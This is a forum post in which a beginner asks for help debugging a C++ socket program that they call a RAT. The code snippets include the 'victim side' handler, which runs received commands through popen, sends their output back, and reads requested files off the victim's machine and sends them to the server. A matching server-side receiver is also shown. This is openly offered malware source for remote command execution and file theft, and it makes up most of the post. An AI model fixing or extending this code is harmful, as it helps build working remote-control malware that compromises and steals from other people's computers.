I am new to C++ Socket coding, in fact this is my first socket program. I tried to code a RAT, to view the files of the connected computer & transfer the selected file. It runs through 2-4 cycles( send the command & receive the output) , but gets stuck after that, while on a connected computer, it gets stuck after the first cycle only. I tried to transfer multiple files over network & it worked properly for a limited size file, while for larger file sizes, it gets stuck. Please help me with this. Here are the relevant snippets from the code:
SendData():
Code:
bool Socket::SendData(char *buffer)
{
if(!strcmp(buffer,"exit"))
{
closeconnection();
return TRUE;
}
else
{
send(msocket,buffer,strlen(buffer),0);
return TRUE;
}
}
Receive command on victim syd:
Code:
void Socket::RecvData(char *buff,int size)
{
cout<<"came here"<<endl;
int i=recv(msocket,buff,size,0);
buff[i]='\0';
//cout<<i<<endl;
int l=0;
if(!strcmp(buff,"exit"))
{
//shutdown(msocket,0);
WSACleanup();
//msocket=backup;
memset(buff,0,sizeof(buff));
cout<<"m exiting too yahan bhi ukhaad sakta h to ukhaad le"<<endl;
system("pause");
exit(0);
}
while((buff[l]!='\0')&&(buff[l]!='.'))
{
//cout<<"bht hua"<<endl;
l++;
}
if(buff[l]=='.')
{
FILE *open=fopen(buff,"rb");
//system("pause");
if(open==NULL){cout<<"file error"<<endl; SendData("DONE");}
char line[200];
//char tosend[1];
//int c;
system("pause");
//while((c=getc(open))!=EOF)
//{
// tosend[0]=c;
// cout<<tosend[0];
// send(msocket,tosend,1,0);
while(!feof(open))
{
fgets(line,200,open);
send(msocket,line,sizeof(line),0);
cout<<line<<endl;
}//send(msocket,'\0',1,0);
cout<<"file transfer complete"<<endl;
SendData("DONE");
fclose(open);
//exit(1);
system("pause");
}
else
{
cout<<buff<<endl;
char line[200];
FILE *fp=popen(buff,"r");
if(fp==NULL) printf("file error");
while(fgets(line,sizeof(line),fp))
{
cout<<"in loop"<<endl;
//cout<<line<<endl;
SendData(line);
}
SendData("DONE");
cout<<"out of loop"<<endl;
//fflush(stdout);
//fflush(stdin);
//memset(buff,0,sizeof(buff));
}
}
Receive command output/ file on server syd:
Code:
void ClientSocket::RecvFile(char *buffer,int size)
{
int i=recv(msocket,buffer,size,0);
buffer[i]='\0';
//fflush(stdout);
//fflush(stdin);
while(strcmp(buffer,"DONE"))
{
i=recv(msocket,buffer,size,0);
buffer[i]='\0';
cout<<buffer<<endl;
//if(!strcmp(buffer,"DONE"))
// break;
//cout<<strlen(buffer)<<endl;
//cout<<"still inn loop"<<endl;
}
//msocket.close();
//fflush(stdout);
//fflush(stdin);
cout<<"out of loop"<<endl;
//memset(buffer,0,sizeof(buffer));
system("pause");
}
void ClientSocket::RecvFile1(char *file)
{
char rec[200];
char ch;
//recv(msocket,&ch,sizeof(ch),0);
FILE *filerecv=fopen(file,"wb");
//char recvbuff[7000];
//recvbuff[0]=0;
int i;//=recv(msocket,rec,200,0);
//rec[i]='\0';
while(strcmp(rec,"DONE"))
{
i=recv(msocket,rec,200,0);
rec[i]='\0';
cout<<rec<<endl;
if(strcmp(rec,"DONE"))
fputs(rec,filerecv);
//memset(rec,0,sizeof(rec));
}
//msocket.unload();
/*while((recv(msocket,recvbuff,1,0))!=-1)
{
//recv(msocket,&ch,sizeof(ch),0);
//fputc(ch,filerecv);
cout<<recvbuff[0];
fwrite(recvbuff,sizeof(recvbuff[0]),1,filerecv);
recvbuff[0]=0;
}*/
cout<<"here 2"<<endl;
fclose(filerecv);
cout<<"file transfer complete"<<endl;
system("pause");
}